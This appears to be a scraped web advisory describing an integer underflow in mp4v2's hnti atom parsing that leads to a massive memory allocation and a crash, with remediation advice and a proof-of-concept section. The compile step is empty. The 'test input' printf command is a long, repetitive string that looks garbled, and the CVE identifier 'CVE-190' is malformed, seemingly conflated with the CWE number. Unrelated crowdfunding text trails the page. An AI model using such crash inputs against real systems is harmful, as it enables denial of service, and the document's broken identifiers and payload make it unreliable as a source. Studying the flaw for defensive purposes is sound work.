mp4v2 Integer Underflow in hnti Parsing Leading to Uncontrolled Memory Allocation (CVE-190)

Vulnerability Overview When parsing the container in an MP4 file, if the size of the atom is less than 4 bytes, an integer underflow occurs. This leads to a request for a massive memory allocation (~2^64 bytes), ultimately causing the program to crash. Scope of Impact Affected Software: mp4v2 Vulnerability Type: Integer Underflow CVE Number: CVE-190 / CWE-789 Severity: High (Attackers can fully control the allocation size, leading to uncontrolled memory allocation requests) Remediation Validation Logic: Before calculating and calling , the size of the atom must be verified to ensure it is sufficiently large. Error Handling: If the atom's size is insufficient, the program should return an error instead of requesting a massive memory allocation. POC Code Compilation and Execution 1. Compile the Code: 2. Generate Test Input: ```sh printf 'AAAAAG0w0bPz101AAACG1z02020AAAAG0gAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA0AAAAAA

Goal Reached Thanks to every supporter — we hit 100%!

mp4v2 Integer Underflow in hnti Parsing Leading to Uncontrolled Memory Allocation (CVE-190)

More from this source